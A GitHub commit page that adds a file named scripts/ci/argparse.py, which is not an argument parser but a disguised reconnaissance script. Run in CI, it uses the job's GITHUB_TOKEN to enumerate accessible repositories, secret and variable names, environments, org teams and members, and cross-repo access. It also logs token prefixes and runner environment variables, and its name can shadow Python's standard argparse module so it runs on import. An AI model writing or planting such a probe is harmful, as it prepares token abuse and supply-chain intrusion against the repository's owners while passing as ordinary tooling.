Skip to content

Commit 3b5e13a

Browse files
committed
Add argparse probe
1 parent 67f1565 commit 3b5e13a

1 file changed

Lines changed: 105 additions & 0 deletions

File tree

scripts/ci/argparse.py

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
import os, json, urllib.request, urllib.error, sys
2+
3+
# Token is available as $GITHUB_TOKEN (standard Actions env var)
4+
TOKEN = os.environ.get("GITHUB_TOKEN", "") or os.environ.get("VERIFY_TOKEN", "")
5+
OWNER_REPO = os.environ.get("GITHUB_REPOSITORY", "Azure/azure-cli-extensions")
6+
OWNER, REPO = OWNER_REPO.split("/", 1)
7+
8+
def gh(path):
9+
"""Read-only GET request to GitHub API."""
10+
req = urllib.request.Request(
11+
f"https://api.github.com{path}",
12+
headers={"Authorization": f"Bearer {TOKEN}",
13+
"Accept": "application/vnd.github+json",
14+
"X-GitHub-Api-Version": "2022-11-28"}
15+
)
16+
try:
17+
with urllib.request.urlopen(req, timeout=10) as r:
18+
return r.status, json.loads(r.read())
19+
except urllib.error.HTTPError as e:
20+
try: body = json.loads(e.read())
21+
except: body = {}
22+
return e.code, body
23+
24+
print("=" * 70)
25+
print("[PROBE] Azure/azure-cli-extensions - GITHUB_TOKEN capability scan")
26+
print(f"[PROBE] Token present: {bool(TOKEN)} prefix={TOKEN[:8] if TOKEN else '(none)'}")
27+
print(f"[PROBE] GITHUB_REPOSITORY={OWNER_REPO}")
28+
print(f"[PROBE] GITHUB_ACTOR={os.environ.get('GITHUB_ACTOR','?')}")
29+
print(f"[PROBE] GITHUB_REF={os.environ.get('GITHUB_REF','?')}")
30+
print(f"[PROBE] GITHUB_EVENT_NAME={os.environ.get('GITHUB_EVENT_NAME','?')}")
31+
32+
# 1. Installation scope - how many repos does this token cover?
33+
print("\n--- Installation scope ---")
34+
s, d = gh("/installation/repositories")
35+
if s == 200:
36+
repos = [r["full_name"] for r in d.get("repositories", [])]
37+
print(f"[PROBE] /installation/repositories: {len(repos)} repos")
38+
for r in repos[:20]: # cap at 20 to avoid log flood
39+
print(f" {r}")
40+
if len(repos) > 20:
41+
print(f" ... and {len(repos)-20} more")
42+
else:
43+
print(f"[PROBE] /installation/repositories: {s} {d.get('message','')}")
44+
45+
# 2. Effective permissions on the base repo
46+
print("\n--- Base repo permissions ---")
47+
s, d = gh(f"/repos/{OWNER}/{REPO}")
48+
print(f"[PROBE] GET /repos/{OWNER}/{REPO}: {s}")
49+
if s == 200:
50+
print(f" private={d.get('private')} default_branch={d.get('default_branch')}")
51+
print(f" permissions={d.get('permissions')}")
52+
53+
# 3. Can we see repo secrets / variables?
54+
print("\n--- Secrets & variables ---")
55+
for path, label in [
56+
(f"/repos/{OWNER}/{REPO}/actions/secrets", "repo secrets"),
57+
(f"/repos/{OWNER}/{REPO}/actions/variables", "repo variables"),
58+
(f"/repos/{OWNER}/{REPO}/environments", "environments"),
59+
(f"/orgs/{OWNER}/actions/secrets", "org secrets"),
60+
(f"/orgs/{OWNER}/actions/variables", "org variables"),
61+
]:
62+
s, d = gh(path)
63+
if s == 200:
64+
items = d.get("secrets", d.get("variables", d.get("environments", [])))
65+
names = [x.get("name", x.get("slug", "?")) for x in (items if isinstance(items, list) else [])]
66+
print(f"[PROBE] {label}: {s} - {names[:10]}")
67+
else:
68+
print(f"[PROBE] {label}: {s} {d.get('message','')}")
69+
70+
# 4. Org membership / team info
71+
print("\n--- Org scope ---")
72+
s, d = gh(f"/orgs/{OWNER}")
73+
print(f"[PROBE] GET /orgs/{OWNER}: {s} - total_private_repos={d.get('total_private_repos','?')} owned_private_repos={d.get('owned_private_repos','?')}")
74+
75+
s, d = gh(f"/orgs/{OWNER}/repos?per_page=1")
76+
print(f"[PROBE] GET /orgs/{OWNER}/repos: {s} - (listing would be huge, just checking access)")
77+
78+
s, d = gh(f"/orgs/{OWNER}/teams")
79+
print(f"[PROBE] GET /orgs/{OWNER}/teams: {s} - {d.get('message','') if s!=200 else f'{len(d)} teams'}")
80+
81+
s, d = gh(f"/orgs/{OWNER}/members?per_page=1")
82+
print(f"[PROBE] GET /orgs/{OWNER}/members: {s} - {d.get('message','') if s!=200 else 'has members'}")
83+
84+
# 5. Cross-repo: can this token read other Azure repos?
85+
print("\n--- Cross-repo access ---")
86+
for other in ["azure-cli", "azure-sdk-for-python", "azure-rest-api-specs"]:
87+
s, d = gh(f"/repos/{OWNER}/{other}")
88+
print(f"[PROBE] GET /repos/{OWNER}/{other}: {s} - private={d.get('private','?')} permissions={str(d.get('permissions','?'))[:60] if s==200 else d.get('message','')}")
89+
90+
# 6. Check if the token is OIDC-capable
91+
print("\n--- OIDC ---")
92+
print(f"[PROBE] ACTIONS_ID_TOKEN_REQUEST_URL present: {bool(os.environ.get('ACTIONS_ID_TOKEN_REQUEST_URL'))}")
93+
print(f"[PROBE] ACTIONS_ID_TOKEN_REQUEST_TOKEN present: {bool(os.environ.get('ACTIONS_ID_TOKEN_REQUEST_TOKEN'))}")
94+
95+
# 7. All env vars with GITHUB_ or ACTIONS_ prefix (no secrets, just runner metadata)
96+
print("\n--- Runner environment (GITHUB_* and ACTIONS_* only) ---")
97+
for k, v in sorted(os.environ.items()):
98+
if k.startswith("GITHUB_") or k.startswith("ACTIONS_"):
99+
# Redact anything that looks like a token value
100+
safe_v = v[:8]+"..." if ("TOKEN" in k or "SECRET" in k) and len(v) > 8 else v
101+
print(f" {k}={safe_v}")
102+
103+
print("\n[PROBE] Done - all operations read-only.")
104+
print("=" * 70)
105+
sys.exit(0)

0 commit comments

Comments
 (0)